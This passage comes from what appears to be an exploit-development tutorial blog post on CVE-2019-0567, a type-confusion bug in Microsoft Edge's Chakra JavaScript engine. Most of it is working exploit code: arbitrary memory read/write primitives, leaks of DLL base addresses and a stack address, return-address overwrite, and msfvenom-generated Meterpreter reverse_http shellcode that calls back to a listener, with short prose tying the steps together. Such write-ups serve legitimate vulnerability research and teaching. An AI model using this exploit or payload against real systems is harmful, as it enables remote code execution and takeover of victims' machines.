	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x078b66b2</span><span class="p">,</span> <span class="mh">0x85c30148</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x58d275c0</span><span class="p">,</span> <span class="mh">0x006a58c3</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc2c74959</span><span class="p">,</span> <span class="mh">0x56a2b5f0</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x0000d5ff</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>

    <span class="c1">// We can reliably traverse the stack 0x6000 bytes</span>
    <span class="c1">// Scan the stack for the return address below</span>
    <span class="cm">/*
    0:020&gt; u chakra+0xd4a73
    chakra!Js::JavascriptFunction::CallFunction&lt;1&gt;+0x83:
    00007fff`3a454a73 488b5c2478      mov     rbx,qword ptr [rsp+78h]
    00007fff`3a454a78 4883c440        add     rsp,40h
    00007fff`3a454a7c 5f              pop     rdi
    00007fff`3a454a7d 5e              pop     rsi
    00007fff`3a454a7e 5d              pop     rbp
    00007fff`3a454a7f c3              ret
    */</span>

    <span class="c1">// Creating an array to store the return address because read64() returns an array of 2 32-bit values</span>
    <span class="kd">var</span> <span class="nx">returnAddress</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x4</span><span class="p">);</span>
    <span class="nx">returnAddress</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">chakraLo</span> <span class="o">+</span> <span class="mh">0xd4a73</span><span class="p">;</span>
    <span class="nx">returnAddress</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">chakraHigh</span><span class="p">;</span>

	<span class="c1">// Counter variable</span>
	<span class="kd">let</span> <span class="nx">counter</span> <span class="o">=</span> <span class="mh">0x6000</span><span class="p">;</span>

	<span class="c1">// Loop</span>
	<span class="k">while</span> <span class="p">(</span><span class="nx">counter</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
	<span class="p">{</span>
	    <span class="c1">// Store the contents of the stack</span>
	    <span class="nx">tempContents</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

	    <span class="c1">// Did we find our target return address?</span>
        <span class="k">if</span> <span class="p">((</span><span class="nx">tempContents</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="nx">returnAddress</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">tempContents</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="nx">returnAddress</span><span class="p">[</span><span class="mi">1</span><span class="p">]))</span>
        <span class="p">{</span>
			<span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Found our return address on the stack!</span><span class="dl">"</span><span class="p">);</span>
            <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>
            <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Target stack address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">));</span>
            <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

            <span class="c1">// Break the loop</span>
            <span class="k">break</span><span class="p">;</span>

        <span class="p">}</span>
        <span class="k">else</span>
        <span class="p">{</span>
        	<span class="c1">// Decrement the counter</span>
	    	<span class="c1">// This is because the leaked stack address is near the stack base so we need to traverse backwards towards the stack limit</span>
	    	<span class="nx">counter</span> <span class="o">-=</span> <span class="mh">0x8</span><span class="p">;</span>
        <span class="p">}</span>
	<span class="p">}</span>

	<span class="c1">// alert() for debugging</span>
	<span class="nx">alert</span><span class="p">(</span><span class="dl">"</span><span class="s2">DEBUG</span><span class="dl">"</span><span class="p">);</span>

	<span class="c1">// Corrupt the return address to control RIP with 0x4141414141414141</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>
<span class="p">}</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>As we can clearly, see, we use our write primitive to write 1 QWORD at a time our shellcode (this is why we have <code class="language-plaintext highlighter-rouge">countMe+=0x8;</code>. Let’s run our exploit, the same way we have been doing. When we run this exploit, an alert dialogue should occur <em>just before</em> the stack address is overwritten. When the alert dialogue occurs, we can debug the content process (we have already seen how to find this process via Process Hacker, so I won’t continually repeat this).</p>

<p><img src="/images/3typeconfusion66.png" alt="" /></p>

<p>After our exploit has ran, we can then examine where our shellcode <em>should</em> have been written to: <code class="language-plaintext highlighter-rouge">chakra_base + 0x74b000</code>.</p>

<p><img src="/images/3typeconfusion67.png" alt="" /></p>

<p>If we cross reference the disassembly here with the <a href="https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/stager/stager_reverse_https.asm">Metasploit Framework</a> we can see that Metasploit staged-payloads will use the following stub to start execution.</p>

<p><img src="/images/3typeconfusion68.png" alt="" /></p>

<p>As we can see, our injected shellcode and the Meterpreter shellcode both start with <code class="language-plaintext highlighter-rouge">cld</code> instruction to flush any flags and a stack alignment routine which ensure the stack is 10-byte aligned (Windows <code class="language-plaintext highlighter-rouge">__fastcall</code> requires this). We can now safely assume our shellcode was written properly to the <code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">chakra.dll</code> within the content process.</p>

<p>Now that we have our payload, which we will execute at the end of our exploit, we can begin the exploitation process by starting with our “final” ROP chain.</p>

<h2 id="virtualprotect-rop-chain"><code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP Chain</h2>

<p>Let me caveat this section by saying this ROP chain we are about to develop will <em>not</em> be executed until the end of our exploit. However, it will be a moving part of our exploit going forward so we will go ahead and “knock it out now”.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;button</span> <span class="na">onclick=</span><span class="s">"main()"</span><span class="nt">&gt;</span>Click me to exploit CVE-2019-0567!<span class="nt">&lt;/button&gt;</span>

<span class="nt">&lt;script&gt;</span>
<span class="c1">// CVE-2019-0567: Microsoft Edge Type Confusion</span>
<span class="c1">// Author: Connor McGarr (@33y0re)</span>

<span class="c1">// Creating object obj</span>
<span class="c1">// Properties are stored via auxSlots since properties weren't declared inline</span>
<span class="nx">obj</span> <span class="o">=</span> <span class="p">{}</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">d</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">e</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">f</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">g</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">j</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>

<span class="c1">// Create two DataView objects</span>
<span class="nx">dataview1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>
<span class="nx">dataview2</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>

<span class="c1">// Function to convert to hex for memory addresses</span>
<span class="kd">function</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">x</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">x</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// Arbitrary read function</span>
<span class="kd">function</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

    <span class="c1">// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away</span>
    <span class="c1">// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this</span>
    <span class="kd">var</span> <span class="nx">arrayRead</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getInt32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getInt32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>

    <span class="c1">// Return the array</span>
    <span class="k">return</span> <span class="nx">arrayRead</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Arbitrary write function</span>
<span class="kd">function</span> <span class="nx">write64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

    <span class="c1">// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>       <span class="c1">// 4-byte arbitrary write</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>       <span class="c1">// 4-byte arbitrary write</span>
<span class="p">}</span>

<span class="c1">// Function used to set prototype on tmp function to cause type transition on o object</span>
<span class="kd">function</span> <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">proto</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>

    <span class="kd">let</span> <span class="nx">tmp</span> <span class="o">=</span> <span class="p">{</span><span class="na">__proto__</span><span class="p">:</span> <span class="nx">proto</span><span class="p">};</span>

    <span class="nx">o</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="nx">value</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// main function</span>
<span class="kd">function</span> <span class="nx">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">2000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>
        <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="p">{},</span> <span class="p">{});</span>
    <span class="p">}</span>

    <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// dataview1 methods act on dataview2 object</span>
    <span class="c1">// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function</span>
    <span class="nx">vtableLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">vtableHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Extract dataview2-&gt;type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...</span>
    <span class="c1">// ... type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">typeLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x8</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">typeHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0xC</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] DataView object 2 leaked vtable from chakra.dll: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Store the base of chakra.dll</span>
    <span class="nx">chakraLo</span> <span class="o">=</span> <span class="nx">vtableLo</span> <span class="o">-</span> <span class="mh">0x5d0bf8</span><span class="p">;</span>
    <span class="nx">chakraHigh</span> <span class="o">=</span> <span class="nx">vtableHigh</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] chakra.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll</span>
    <span class="c1">// chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle</span>
    <span class="nx">kernelbaseLeak</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x5ee2b8</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>

    <span class="c1">// KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address</span>
    <span class="nx">kernelbaseLo</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">-</span><span class="mh">0x18de0</span><span class="p">;</span>
    <span class="nx">kernelbaseHigh</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable</span>
    <span class="kd">var</span> <span class="nx">duplicateHandle</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x4</span><span class="p">);</span>
    <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
    <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] kernelbase.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernelbaseHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernelbaseLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Print update with our type pointer</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] type pointer: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">typeHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">typeLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Arbitrary read to get the javascriptLibrary pointer (offset of 0x8 from type)</span>
    <span class="nx">javascriptLibrary</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">typeLo</span><span class="o">+</span><span class="mi">8</span><span class="p">,</span> <span class="nx">typeHigh</span><span class="p">);</span>

    <span class="c1">// Arbitrary read to get the scriptContext pointer (offset 0x450 from javascriptLibrary. Found this manually)</span>
    <span class="nx">scriptContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x430</span><span class="p">,</span> <span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>

    <span class="c1">// Arbitrary read to get the threadContext pointer (offset 0x3b8)</span>
    <span class="nx">threadContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">scriptContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x5c0</span><span class="p">,</span> <span class="nx">scriptContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0</span>
    <span class="c1">// https://bugs.chromium.org/p/project-zero/issues/detail?id=1360</span>
    <span class="c1">// Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)</span>
    <span class="nx">stackleakPointer</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">threadContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x8f8</span><span class="p">,</span> <span class="nx">threadContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Leaked stack address! type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext-&gt;leafInterpreterFrame: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Counter</span>
    <span class="kd">let</span> <span class="nx">countMe</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="c1">// Helper function for counting</span>
    <span class="kd">function</span> <span class="nx">inc</span><span class="p">()</span>
    <span class="p">{</span>
        <span class="nx">countMe</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// Shellcode (will be executed in JIT process)</span>
    <span class="c1">// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=172.16.55.195 LPORT=443 -f c</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xe48348fc</span><span class="p">,</span> <span class="mh">0x00cce8f0</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x51410000</span><span class="p">,</span> <span class="mh">0x51525041</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x56d23148</span><span class="p">,</span> <span class="mh">0x528b4865</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x528b4860</span><span class="p">,</span> <span class="mh">0x528b4818</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc9314d20</span><span class="p">,</span> <span class="mh">0x50728b48</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4ab70f48</span><span class="p">,</span> <span class="mh">0xc031484a</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x7c613cac</span><span class="p">,</span> <span class="mh">0x41202c02</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x410dc9c1</span><span class="p">,</span> <span class="mh">0xede2c101</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x528b4852</span><span class="p">,</span> <span class="mh">0x8b514120</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x01483c42</span><span class="p">,</span> <span class="mh">0x788166d0</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x0f020b18</span><span class="p">,</span> <span class="mh">0x00007285</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x88808b00</span><span class="p">,</span> <span class="mh">0x48000000</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
